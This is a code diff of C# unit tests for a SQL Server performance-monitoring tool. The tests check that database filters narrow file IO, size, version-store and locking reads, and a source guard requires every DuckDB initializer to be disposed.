+        Assert.Equal(unfiltered.Count, empty.Count);
+    }
+
+    /// <summary>The desktop filter and the MCP trend's one-database scope (the same reader's ranking) name the same files.</summary>
+    [Fact]
+    public async Task FileIoLatencyTrend_FilterMatchesTheMcpScopeForTheSameSeed()
+    {
+        await SeedBusyServerAsync();
+
+        var desktop = await _service.GetFileIoLatencyTrendAsync(ServerId, 1, databaseNames: new[] { "DbC" });
+        var series = await _service.GetFileIoSeriesAsync(ServerId, 1, DateTime.UtcNow, "DbC");
+
+        Assert.All(series, s => Assert.Equal("DbC", s.DatabaseName));
+        /* The chart keeps its own top ten by activity; the MCP ranking lists every active file of the database. */
+        var scopedFiles = series.Where(s => s.FileName != null).Select(s => s.FileName!).ToHashSet();
+        Assert.Equal(11, scopedFiles.Count);
+        Assert.Equal(10, desktop.Select(p => p.FileName).Distinct().Count());
+        Assert.All(desktop, p => Assert.Contains(p.FileName, scopedFiles));
+    }
+
+    /* ───────────────────────── Database sizes ───────────────────────── */
+
+    private Task SeedSizeAsync(string db, int minutesAgo, decimal totalMb) =>
+        ExecAsync(@"INSERT INTO database_size_stats
+            (collection_id, collection_time, server_id, server_name, database_name, database_id, file_id, file_type_desc,
+             file_name, physical_name, total_size_mb, used_size_mb)
+            VALUES ($1, $2, $3, 'Srv', $4, 5, 1, 'ROWS', $5, '', $6, 10)",
+            _nextId++, Minute(minutesAgo), ServerId, db, db + ".mdf", totalMb);
+
+    [Fact]
+    public async Task DatabaseSizes_FilterReturnsOnlyTheChosenDatabases_AndKeepsTheServersNewestSnapshot()
+    {
+        /* An older snapshot holds DbC; the newest holds DbA and DbB only. The filter must not pick an older snapshot. */
+        await SeedSizeAsync("DbC", 60, 999);
+        await SeedSizeAsync("DbA", 5, 100);
+        await SeedSizeAsync("DbB", 5, 200);
+
+        var all = await _service.GetDatabaseSizeLatestAsync(ServerId);
+        Assert.Equal(new[] { "DbA", "DbB" }, all.Select(r => r.DatabaseName).ToArray());
+
+        var filtered = await _service.GetDatabaseSizeLatestAsync(ServerId, OnlyA);
+        Assert.Equal(new[] { "DbA" }, filtered.Select(r => r.DatabaseName).ToArray());
+
+        var notInSnapshot = await _service.GetDatabaseSizeLatestAsync(ServerId, new[] { "DbC" });
+        Assert.Empty(notInSnapshot);
+
+        var empty = await _service.GetDatabaseSizeLatestAsync(ServerId, new List<string>());
+        Assert.Equal(all.Count, empty.Count);
+    }
+
+    [Fact]
+    public async Task DatabaseSizeSummary_FilterTakesTheTopAmongTheChosenDatabases()
+    {
+        await SeedSizeAsync("DbA", 5, 100);
+        await SeedSizeAsync("DbB", 5, 200);
+        await SeedSizeAsync("DbC", 5, 300);
+
+        var all = await _service.GetDatabaseSizeSummaryAsync(ServerId, 1);
+        Assert.Equal(new[] { "DbC" }, all.Select(r => r.DatabaseName).ToArray());
+
+        var filtered = await _service.GetDatabaseSizeSummaryAsync(ServerId, 1, OnlyA.Concat(new[] { "DbB" }).ToArray());
+        Assert.Equal(new[] { "DbB" }, filtered.Select(r => r.DatabaseName).ToArray());
+
+        var none = await _service.GetDatabaseSizeSummaryAsync(ServerId, 10, new List<string>());
+        Assert.Equal(3, none.Count);
+    }
+
+    /* ───────────────────────── Storage Growth ───────────────────────── */
+
+    [Fact]
+    public async Task StorageGrowth_FilterReturnsOnlyTheChosenDatabases_ByExactName()
+    {
+        await SeedSizeAsync("DbA", 5, 100);
+        await SeedSizeAsync("DbB", 5, 200);
+        await SeedSizeAsync("DbC", 5, 300);
+
+        var all = await _service.GetStorageGrowthAsync(ServerId);
+        Assert.Equal(new[] { "DbA", "DbB", "DbC" }, all.Select(r => r.DatabaseName).Order(StringComparer.Ordinal).ToArray());
+
+        Assert.Equal(new[] { "DbA", "DbB" }, (await _service.GetStorageGrowthAsync(ServerId, AAndB)).Select(r => r.DatabaseName).Order(StringComparer.Ordinal).ToArray());
+
+        /* No filter: null and an empty list both read everything. */
+        Assert.Equal(all.Count, (await _service.GetStorageGrowthAsync(ServerId, null)).Count);
+        Assert.Equal(all.Count, (await _service.GetStorageGrowthAsync(ServerId, new List<string>())).Count);
+
+        /* A name that differs only in case matches nothing. (Lite's size tables are NOT NULL on database_name, so no NULL row can exist here.) */
+        Assert.Empty(await _service.GetStorageGrowthAsync(ServerId, new[] { "dba" }));
+    }
+
+    /* ───────────────────────── Persistent version store ───────────────────────── */
+
+    private Task SeedPvsAsync(string db, int minutesAgo, double pvsMb) =>
+        ExecAsync(@"INSERT INTO pvs_stats
+            (collection_id, collection_time, server_id, server_name, database_name, database_id,
+             is_accelerated_database_recovery_on, persistent_version_store_size_mb, database_data_size_mb)
+            VALUES ($1, $2, $3, 'Srv', $4, 5, true, $5, 1000)",
+            _nextId++, Minute(minutesAgo), ServerId, db, pvsMb);
+
+    [Fact]
+    public async Task PvsStats_FilterReturnsOnlyTheChosenDatabases()
+    {
+        await SeedPvsAsync("DbA", 5, 10);
+        await SeedPvsAsync("DbB", 5, 20);
+        await SeedPvsAsync("DbC", 5, 30);
+
+        var all = await _service.GetPvsStatsLatestAsync(ServerId);
+        Assert.Equal(new[] { "DbC", "DbB", "DbA" }, all.Select(r => r.DatabaseName).ToArray());
+
+        var filtered = await _service.GetPvsStatsLatestAsync(ServerId, AAndB);
+        Assert.Equal(new[] { "DbB", "DbA" }, filtered.Select(r => r.DatabaseName).ToArray());
+
+        var empty = await _service.GetPvsStatsLatestAsync(ServerId, new List<string>());
+        Assert.Equal(3, empty.Count);
+    }
+
+    [Fact]
+    public async Task PvsTrend_FilterRanksTheTopFiveAmongTheChosenDatabases()
+    {
+        /* Six databases larger than DbA, so the unfiltered top five leaves DbA out. */
+        foreach (var minutes in new[] { 30, 5 })
+        {
+            await SeedPvsAsync("DbA", minutes, 1);
+            for (int i = 0; i < 6; i++)
+            {
+                await SeedPvsAsync($"Big{i}", minutes, 100 + i);
+            }
+        }
+
+        var since = DateTime.UtcNow.AddHours(-2);
+        var all = await _service.GetPvsTrendAsync(ServerId, since);
+        Assert.DoesNotContain(all, p => p.DatabaseName == "DbA");
+
+        var filtered = await _service.GetPvsTrendAsync(ServerId, since, OnlyA);
+        Assert.NotEmpty(filtered);
+        Assert.All(filtered, p => Assert.Equal("DbA", p.DatabaseName));
+
+        var empty = await _service.GetPvsTrendAsync(ServerId, since, new List<string>());
+        Assert.Equal(all.Count, empty.Count);
+    }
+
+    /* ───────────────────────── Object locking ───────────────────────── */
+
+    private Task SeedLockingAsync(string db, string table, int minutesAgo, long rowLockWaitMs) =>
+        ExecAsync(@"INSERT INTO index_object_stats
+            (collection_id, collection_time, server_id, server_name, sqlserver_start_time, database_name, database_id,
+             schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+             user_seeks, user_scans, user_lookups, user_updates, row_lock_wait_in_ms, index_lock_promotion_count)
+            VALUES ($1, $2, $3, 'Srv', $4, $5, 7, 'dbo', 100, $6, 1, 'IX', 'NONCLUSTERED', 1, 1, 10, 0, 0, 0, 0, $7, 0)",
+            _nextId++, Minute(minutesAgo), ServerId, Minute(600), db, table, rowLockWaitMs);
+
+    private async Task SeedThreeLockingDatabasesAsync()
+    {
+        await SeedLockingAsync("DbA", "ta", 5, 100);
+        await SeedLockingAsync("DbB", "tb", 5, 200);
+        await SeedLockingAsync("DbC", "tc", 5, 300);
+    }
+
+    [Fact]
+    public async Task IndexLocking_FilterAndBoxBothApply()
+    {
+        await SeedThreeLockingDatabasesAsync();
+
+        var all = await _service.GetIndexLockingAsync(ServerId);
+        Assert.Equal(3, all.Count);
+
+        var filtered = await _service.GetIndexLockingAsync(ServerId, 200, null, AAndB);
+        Assert.Equal(new[] { "DbB", "DbA" }, filtered.Select(r => r.DatabaseName).ToArray());
+
+        var boxInsideFilter = await _service.GetIndexLockingAsync(ServerId, 200, "DbB", AAndB);
+        Assert.Equal(new[] { "DbB" }, boxInsideFilter.Select(r => r.DatabaseName).ToArray());
+
+        var boxOutsideFilter = await _service.GetIndexLockingAsync(ServerId, 200, "DbC", AAndB);
+        Assert.Empty(boxOutsideFilter);
+
+        var empty = await _service.GetIndexLockingAsync(ServerId, 200, null, new List<string>());
+        Assert.Equal(3, empty.Count);
+    }
+
+    /// <summary>The desktop filter [DbA] answers the rows the MCP get_object_locking reader gives for database_name DbA.</summary>
+    [Fact]
+    public async Task IndexLocking_FilterMatchesTheMcpReaderForTheSameSeed()
+    {
+        await SeedThreeLockingDatabasesAsync();
+
+        var desktop = await _service.GetIndexLockingAsync(ServerId, 200, null, OnlyA);
+        var mcp = await _service.GetIndexLockingAsync(ServerId, 200, "DbA");
+
+        Assert.Equal(
+            mcp.Select(r => (r.DatabaseName, r.TableName, r.RowLockWaitInMs)).ToArray(),
+            desktop.Select(r => (r.DatabaseName, r.TableName, r.RowLockWaitInMs)).ToArray());
+    }
+
+    [Fact]
+    public async Task IndexLockingDatabases_ListsOnlyDatabasesInsideTheFilter()
+    {
+        await SeedThreeLockingDatabasesAsync();
+
+        Assert.Equal(new[] { "DbA", "DbB", "DbC" }, await _service.GetIndexLockingDatabasesAsync(ServerId));
+        Assert.Equal(new[] { "DbA", "DbB" }, await _service.GetIndexLockingDatabasesAsync(ServerId, AAndB));
+        Assert.Equal(3, (await _service.GetIndexLockingDatabasesAsync(ServerId, new List<string>())).Count);
+    }
+
+    [Fact]
+    public async Task OptimizedLockingNote_FilterNarrowsTheFlagsRead()
+    {
+        foreach (var (db, on) in new[] { ("DbA", false), ("DbB", true) })
+        {
+            await ExecAsync(@"INSERT INTO database_config
+                (config_id, capture_time, server_id, server_name, database_name, is_optimized_locking_on)
+                VALUES ($1, $2, $3, 'Srv', $4, $5)",
+                _nextId++, Minute(5), ServerId, db, on);
+        }
+
+        Assert.NotNull(await _service.GetOptimizedLockingNoteAsync(ServerId));
+        Assert.Null(await _service.GetOptimizedLockingNoteAsync(ServerId, null, OnlyA));
+        Assert.NotNull(await _service.GetOptimizedLockingNoteAsync(ServerId, null, new[] { "DbB" }));
+        Assert.NotNull(await _service.GetOptimizedLockingNoteAsync(ServerId, null, new List<string>()));
+    }
+
+    /* ───────────────────────── Source pins: each tab passes the filter into its read ───────────────────────── */
+
+    private static string Source(params string[] parts)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "Lite", "PerformanceMonitorLite.csproj")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(new[] { dir! }.Concat(parts).ToArray()));
+    }
+
+    [Fact]
+    public void ServerTab_PassesTheSavedFilterIntoBothFileIoReads()
+    {
+        var src = Source("Lite", "Controls", "ServerTab.Refresh.cs");
+        Assert.Contains("GetFileIoLatencyTrendAsync(_serverId, hoursBack, fromDate, toDate, databaseNames: SelectedDatabaseFilter)", src, StringComparison.Ordinal);
+        Assert.Contains("GetFileIoThroughputTrendAsync(_serverId, hoursBack, fromDate, toDate, databaseNames: SelectedDatabaseFilter)", src, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FinOpsTab_PassesTheSavedFilterIntoSizesPvsAndLockingReads()
+    {
+        var tab = Source("Lite", "Controls", "FinOpsTab.xaml.cs");
+        Assert.Contains("GetDatabaseSizeLatestAsync(serverId, sizesFilter)", tab, StringComparison.Ordinal);
+        Assert.Contains("GetDatabaseSizeSummaryAsync(serverId, 10, sizeChartFilter)", tab, StringComparison.Ordinal);
+        Assert.Contains("GetPvsStatsLatestAsync(serverId, pvsFilter)", tab, StringComparison.Ordinal);
+        Assert.Contains("GetPvsTrendAsync(serverId, DateTime.UtcNow.AddDays(-7), pvsFilter)", tab, StringComparison.Ordinal);
+
+        var locking = Source("Lite", "Controls", "FinOpsTab.Locking.cs");
+        Assert.Contains("GetIndexLockingDatabasesAsync(serverId, lockingFilter)", locking, StringComparison.Ordinal);
+        Assert.Contains("GetIndexLockingAsync(serverId, 200, db, lockingFilter)", locking, StringComparison.Ordinal);
+        Assert.Contains("GetOptimizedLockingNoteAsync(serverId, db, lockingFilter)", locking, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FinOpsTab_PassesTheSavedFilterIntoTheStorageGrowthRead()
+    {
+        var tab = Source("Lite", "Controls", "FinOpsTab.xaml.cs");
+        Assert.Contains("var storageGrowthFilter = SelectedDatabaseFilter();", tab, StringComparison.Ordinal);
+        Assert.Contains("GetStorageGrowthAsync(serverId, storageGrowthFilter)", tab, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FinOpsTab_TheHealthScoreFreeSpaceReadStaysServerWide()
+    {
+        var tab = Source("Lite", "Controls", "FinOpsTab.xaml.cs");
+        Assert.Contains("dbSizes = await Task.Run(() => _dataService.GetDatabaseSizeLatestAsync(serverId));", tab, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void DatabaseFilterOf_IsNullWhenTheServerHasNoSavedFilter()
+    {
+        Assert.Null(PerformanceMonitorLite.Controls.FinOpsTab.DatabaseFilterOf(null));
+        Assert.Null(PerformanceMonitorLite.Controls.FinOpsTab.DatabaseFilterOf(new PerformanceMonitorLite.Models.ServerConnection()));
+        var withFilter = new PerformanceMonitorLite.Models.ServerConnection { ViewFilterDatabases = new List<string> { "DbA" } };
+        Assert.Equal(new[] { "DbA" }, PerformanceMonitorLite.Controls.FinOpsTab.DatabaseFilterOf(withFilter));
+    }
+}
diff --git a/Lite.Tests/DetachedCollectorGateTests.cs b/Lite.Tests/DetachedCollectorGateTests.cs
index ce1898b058..c7fa4e5db1 100644
--- a/Lite.Tests/DetachedCollectorGateTests.cs
+++ b/Lite.Tests/DetachedCollectorGateTests.cs
@@ -25,6 +25,8 @@ namespace Lite.Tests;
 /// detached run stall the caller that keyed the dictionary, recreating the #2148 wedge this whole family of
 /// gates exists to avoid.
 /// </summary>
+[Trait("Reads", "Darling")]
+[Collection("timing")]
 public sealed class DetachedCollectorGateTests
 {
     /// <summary>THE POINT: a second acquirer is refused while the first holds the gate.</summary>
diff --git a/Lite.Tests/DismissReliabilityTests.cs b/Lite.Tests/DismissReliabilityTests.cs
index 33aec1da6a..213fca414b 100644
--- a/Lite.Tests/DismissReliabilityTests.cs
+++ b/Lite.Tests/DismissReliabilityTests.cs
@@ -42,8 +42,8 @@ public void Dispose()
 
     private async Task<DuckDBConnection> InitializeDatabaseAsync()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var connection = new DuckDBConnection($"Data Source={_dbPath}");
         await connection.OpenAsync(TestContext.Current.CancellationToken);
@@ -206,8 +206,8 @@ UPDATE config_alert_log
     [Fact]
     public async Task WriteLock_BlocksReadersDuringDismiss()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         // Acquire write lock on this thread
         using var writeLock = initializer.AcquireWriteLock();
@@ -236,8 +236,8 @@ public async Task WriteLock_BlocksReadersDuringDismiss()
     [Fact]
     public async Task WriteLock_Timeout_ThrowsTimeoutException()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         // Simulate archival holding the write lock on a background thread
         using var archivalLock = initializer.AcquireWriteLock();
diff --git a/Lite.Tests/DismissedArchiveSidecarTests.cs b/Lite.Tests/DismissedArchiveSidecarTests.cs
index fad492ca3a..1cdba4fde4 100644
--- a/Lite.Tests/DismissedArchiveSidecarTests.cs
+++ b/Lite.Tests/DismissedArchiveSidecarTests.cs
@@ -43,8 +43,8 @@ public void Dispose()
 
     private async Task<DuckDBConnection> InitializeDatabaseAsync()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var connection = new DuckDBConnection($"Data Source={_dbPath}");
         await connection.OpenAsync(TestContext.Current.CancellationToken);
@@ -286,7 +286,8 @@ public async Task PurgeOldDismissedArchiveAlerts_DropsRowsPastTheHorizon_KeepsRe
         await InsertSidecarRowAsync(connection, DateTime.UtcNow.AddDays(-2), 1, "Recent");
         connection.Close();
 
-        var service = new LocalDataService(new DuckDbInitializer(_dbPath));
+        using var initializer = new DuckDbInitializer(_dbPath);
+        var service = new LocalDataService(initializer);
         var purged = await service.PurgeOldDismissedArchiveAlertsAsync();
 
         Assert.Equal(1, purged);
@@ -331,7 +332,8 @@ public async Task PurgeOldDismissedArchiveAlerts_NothingExpired_RemovesNothing()
         await InsertSidecarRowAsync(connection, DateTime.UtcNow.AddDays(-1), 1, "Recent");
         connection.Close();
 
-        var service = new LocalDataService(new DuckDbInitializer(_dbPath));
+        using var initializer = new DuckDbInitializer(_dbPath);
+        var service = new LocalDataService(initializer);
         Assert.Equal(0, await service.PurgeOldDismissedArchiveAlertsAsync());
     }
 
diff --git a/Lite.Tests/DisplayZoneRendererTests.cs b/Lite.Tests/DisplayZoneRendererTests.cs
index db3260eca7..c0907bf45d 100644
--- a/Lite.Tests/DisplayZoneRendererTests.cs
+++ b/Lite.Tests/DisplayZoneRendererTests.cs
@@ -29,30 +29,9 @@ public sealed class DisplayZoneRendererTests
 
     private static DateTime Project(DateTime utc) => utc.AddDays(ProjectedOffsetDays);
 
-    private static T OnStaThread<T>(Func<T> body)
-    {
-        T result = default!;
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { result = body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-
-        return result;
-    }
-
     /// <summary>Runs one render and returns the first plotted X and the bottom tick generator's type.</summary>
     private static (double FirstX, Type TickGenerator) Drive(Action<ScottPlot.WPF.WpfPlot> render)
-        => OnStaThread(() =>
+        => StaTestThread.Run(() =>
         {
             var chart = new ScottPlot.WPF.WpfPlot();
             render(chart);
diff --git a/Lite.Tests/DisplayZoneTextFrameTests.cs b/Lite.Tests/DisplayZoneTextFrameTests.cs
index bb86f10d76..3051feec9a 100644
--- a/Lite.Tests/DisplayZoneTextFrameTests.cs
+++ b/Lite.Tests/DisplayZoneTextFrameTests.cs
@@ -225,12 +225,53 @@ public void TheRefreshHeaderAndTheTruncationBanner_UseTheTabsOwnClockAndZone()
         Assert.Contains(
             "ServerTimeHelper.GetTimezoneLabel(ServerTimeHelper.CurrentDisplayMode, _serverClock, refreshedUtc)", refresh, StringComparison.Ordinal);
         Assert.Contains("DisplayZone.ToDisplay(refreshedUtc, GetPickerZone())", refresh, StringComparison.Ordinal);
-        Assert.Contains("SetWindowTruncatedBanner(banner, truncated, floor ?? startUtc, GetPickerZone());", refresh, StringComparison.Ordinal);
+        /* #4989: the shared step words the earlier of the probe's floor and the oldest row a capped grid shows; the zone
+           it is worded in is still the tab's own picker zone. */
+        Assert.Contains("ApplyWindowFloorToBanner(banner, EarlierOfFloorAndRowShown(floor, earliestRowShownUtc), startUtc, GetPickerZone());", refresh, StringComparison.Ordinal);
+        Assert.Contains(
+            "internal static bool ApplyWindowFloorToBanner(TextBlock banner, DateTime? floor, DateTime startUtc, TimeZoneInfo zone)",
+            refresh, StringComparison.Ordinal);
+        Assert.Contains("SetWindowTruncatedBanner(banner, truncated, floor ?? startUtc, zone);", refresh, StringComparison.Ordinal);
         Assert.Contains(
             "internal static void SetWindowTruncatedBanner(TextBlock banner, bool truncated, DateTime effectiveStart, TimeZoneInfo zone)",
             refresh, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// The shared window-floor steps (<c>ApplyWindowFloorToBanner</c> for a probe's answer, and, since #4966,
+    /// <c>ApplyCappedWindowFloorToBanner</c> for a capped read's oldest row) take the zone as an argument, so a caller
+    /// could still hand the banner another
+    /// one (the machine's, or the active server's). Every call in the ServerTab files hands it the tab's own picker
+    /// zone as its last argument, the zone the tab's other text is worded in. The definition is not a call, and at
+    /// least one call must exist, so the check cannot pass by finding nothing.
+    /// </summary>
+    [Fact]
+    public void EveryWindowFloorBannerCall_IsHandedTheTabsPickerZone()
+    {
+        var calls = 0;
+        var offenders = new List<string>();
+        foreach (var (name, code) in ServerTabCode())
+        {
+            /* A definition has its return type right before the name; a call does not. */
+            foreach (Match m in Regex.Matches(code, @"(?<!\bbool\s+)\bApply(?:Capped)?WindowFloorToBanner\s*\("))
+            {
+                calls++;
+                var arguments = CallArguments(code, m.Index + m.Length - 1);
+                if (!Regex.IsMatch(arguments, @",\s*GetPickerZone\(\)\s*$"))
+                {
+                    offenders.Add(
+                        $"{name} (code line {Line(code, m.Index)}): {Regex.Replace(m.Value, @"\s*\($", "")}({Regex.Replace(arguments.Trim(), @"\s+", " ")})");
+                }
+            }
+        }
+
+        Assert.True(calls >= 2, "an ApplyWindowFloorToBanner or ApplyCappedWindowFloorToBanner call is gone from the ServerTab files (the probe's step and the capped step each have one); update this pin.");
+        Assert.True(
+            offenders.Count == 0,
+            "These hand the 'Showing since' banner a zone other than the tab's own; pass GetPickerZone() as the last " +
+            "argument: " + string.Join(", ", offenders));
+    }
+
     /// <summary>
     /// The wait drill-down window takes the tab's zone at construction (required, so no caller can leave it on the
     /// active clock), and the tab hands it <c>GetPickerZone()</c>. Its range line goes through
@@ -330,6 +371,25 @@ private static string MethodBody(string code, string signature)
         throw new InvalidOperationException($"no closing brace for {signature}");
     }
 
+    /* The text between the parenthesis at <open> and its matching close, so a nested call such as GetPickerZone() stays whole. */
+    private static string CallArguments(string code, int open)
+    {
+        var depth = 0;
+        for (var i = open; i < code.Length; i++)
+        {
+            if (code[i] == '(')
+            {
+                depth++;
+            }
+            else if (code[i] == ')' && --depth == 0)
+            {
+                return code[(open + 1)..i];
+            }
+        }
+
+        throw new InvalidOperationException($"no closing parenthesis for the call at index {open}");
+    }
+
     /* Line and block comments removed, and line endings normalised, so a pin reads code only. */
     private static string CodeOnly(string source)
     {
diff --git a/Lite.Tests/DrillDownDopProvenanceParityTests.cs b/Lite.Tests/DrillDownDopProvenanceParityTests.cs
index 349ce39b8b..8f4dfc0a53 100644
--- a/Lite.Tests/DrillDownDopProvenanceParityTests.cs
+++ b/Lite.Tests/DrillDownDopProvenanceParityTests.cs
@@ -28,6 +28,7 @@ namespace Lite.Tests;
 /// filter that fires for only one of them. Darling's constants are public, so its suite compares them against
 /// Lite's inline text without parsing its own file.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class DrillDownDopProvenanceParityTests
 {
     private const string LiteFile = "Lite/Analysis/DrillDownCollector.Queries.cs";
diff --git a/Lite.Tests/DuckDbInitializerDisposalGuardTests.cs b/Lite.Tests/DuckDbInitializerDisposalGuardTests.cs
new file mode 100644
index 0000000000..10f6319bc7
--- /dev/null
+++ b/Lite.Tests/DuckDbInitializerDisposalGuardTests.cs
@@ -0,0 +1,325 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Darling.Tests;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5208: every <c>DuckDbInitializer</c> a Lite test constructs is disposed, or is on a <c>using</c>.
+///
+/// <para><b>Why a source guard.</b> The initializer holds a sentinel connection that keeps the database open
+/// until <c>Dispose()</c>. A test that deletes its temp folder without disposing it still passes, because
+/// Windows lets the delete succeed while the handles stay open, so nothing fails: the test process just ends
+/// with about a thousand open DuckDB databases, each holding three threads, seven handles and ~15 MB of native
+/// memory. Only the source shows the missing call.</para>
+///
+/// <para><b>What counts as disposed.</b> The check is per scope, not per file. A construction on a <c>using</c>
+/// line is disposed. A local must be disposed (<c>.Dispose()</c> or <c>?.Dispose()</c>) in its own method. A field
+/// must be disposed in its own class. A list entry (<c>list.Add(x)</c>) needs a <c>foreach</c> over that same list,
+/// in the same class, whose body disposes the loop variable (or the list's own <c>Dispose*</c> helper). A
+/// construction handed to another constructor, awaited with no name, or assigned to something this check cannot
+/// follow is an offender. Target-typed <c>new(p)</c> assigned to an initializer name or added to a list of them
+/// counts as a construction, and a class that derives from the initializer is refused, because its constructions
+/// cannot be followed.</para>
+///
+/// <para>Literal- and comment-aware through <see cref="CSharpSourceWalker"/>, so this text naming the type is not
+/// a construction.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class DuckDbInitializerDisposalGuardTests
+{
+    /// <summary>A construction, plain or namespace-qualified.</summary>
+    private static readonly Regex Construction = new(@"\bnew\s+(?:[A-Za-z_][\w]*\s*\.\s*)*DuckDbInitializer\s*\(", RegexOptions.Compiled);
+
+    [Fact]
+    public void EveryDuckDbInitializerALiteTestOpensIsDisposed()
+    {
+        var root = RepoRoot();
+        var testsDir = Path.Combine(root, "Lite.Tests");
+        var offenders = new List<string>();
+        var constructions = 0;
+
+        foreach (var file in TestSourceFiles(testsDir))
+        {
+            var text = File.ReadAllText(file);
+            var relative = Path.GetRelativePath(root, file);
+            var found = Offenders(text);
+            constructions += found.Total;
+            offenders.AddRange(found.Offenders.Select(line => $"{relative}:{line}"));
+        }
+
+        Assert.True(constructions >= 100, $"the guard saw {constructions} constructions; the walk is not reading the tests");
+        Assert.True(
+            offenders.Count == 0,
+            "These Lite tests construct a DuckDbInitializer and never dispose it, so its database stays open for the whole "
+            + "test run (#5208). Put it on a 'using', call Dispose() on it in its own method (a local) or its own class's Dispose (a field), or loop over the list you add it to and dispose each entry:\n  "
+            + string.Join("\n  ", offenders));
+    }
+
+    [Fact]
+    public void TheGuardFlagsAnUndisposedInitializer_AndAcceptsTheDisposedShapes()
+    {
+        Assert.Equal([3], Offenders("class C\n{\n    void M() { var x = new DuckDbInitializer(p); x.Run(); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void M() => new Svc(new DuckDbInitializer(p));\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    async Task M() => await new DuckDbInitializer(p).InitializeAsync();\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void M() { var x = new PerformanceMonitorLite.Database.DuckDbInitializer(p); x.Run(); }\n}\n").Offenders);
+
+        Assert.Empty(Offenders("class C\n{\n    void M() { using var x = new DuckDbInitializer(p); }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    void M() { using (var x = new DuckDbInitializer(p)) { } }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    void Open() { _db = new DuckDbInitializer(p); }\n    void Dispose() { _db.Dispose(); }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    void Open() { _db = new DuckDbInitializer(p); }\n    void Dispose() { _db?.Dispose(); }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    void Open() { var d = new DuckDbInitializer(p); _all.Add(d); }\n    void Dispose() { foreach (var i in _all) i.Dispose(); }\n}\n").Offenders);
+
+        /* G1 (#5321): a name or list disposed somewhere ELSE in the file does not cover this construction. */
+        Assert.Equal([4], Offenders("class C\n{\n    void A() { var x = new DuckDbInitializer(p); x.Dispose(); }\n    void B() { var x = new DuckDbInitializer(p); x.Run(); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void A() { var x = new DuckDbInitializer(p); x.Run(); }\n}\nclass D\n{\n    void B() { var x = 1; x.Dispose(); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void Open() { _db = new DuckDbInitializer(p); }\n}\nclass D\n{\n    void Dispose() { _db.Dispose(); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void Open() { var d = new DuckDbInitializer(p); _all.Add(d); }\n    void Dispose() { c.Dispose(); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void Open() { var d = new DuckDbInitializer(p); _all.Add(d); }\n    void Dispose() { foreach (var i in _other) i.Dispose(); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void Open() { var d = new DuckDbInitializer(p); _all.Add(d); }\n    void Dispose() { foreach (var i in _all) { i.Run(); } }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    void Open() { var d = new DuckDbInitializer(p); _all.Add(d); }\n    void Dispose()\n    {\n        foreach (var i in _all)\n        {\n            try { i.Dispose(); } catch { }\n        }\n    }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    void A() { var x = new DuckDbInitializer(p); x.Dispose(); }\n    void B() { var x = new DuckDbInitializer(p); try { } finally { x?.Dispose(); } }\n}\n").Offenders);
+
+        /* G2: a construction handed to another constructor is not what the using disposes. */
+        Assert.Equal([3], Offenders("class C\n{\n    void M() { using var svc = new Svc(new DuckDbInitializer(p)); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void M() { var svc = new Svc(new DuckDbInitializer(p)); svc.Dispose(); }\n}\n").Offenders);
+
+        /* G3: the target-typed form is a construction, and a subclass is refused outright. */
+        Assert.Equal([3], Offenders("class C\n{\n    void M() { DuckDbInitializer x = new(p); x.Run(); }\n}\n").Offenders);
+        Assert.Equal([4], Offenders("class C\n{\n    DuckDbInitializer _db;\n    void Open() { _db = new(p); }\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    void M() { var all = new List<DuckDbInitializer>(); all.Add(new(p)); }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    void M() { using DuckDbInitializer x = new(p); }\n}\n").Offenders);
+        Assert.Empty(Offenders("class C\n{\n    DuckDbInitializer _db;\n    void Open() { _db = new(p); }\n    void Dispose() { _db.Dispose(); }\n}\n").Offenders);
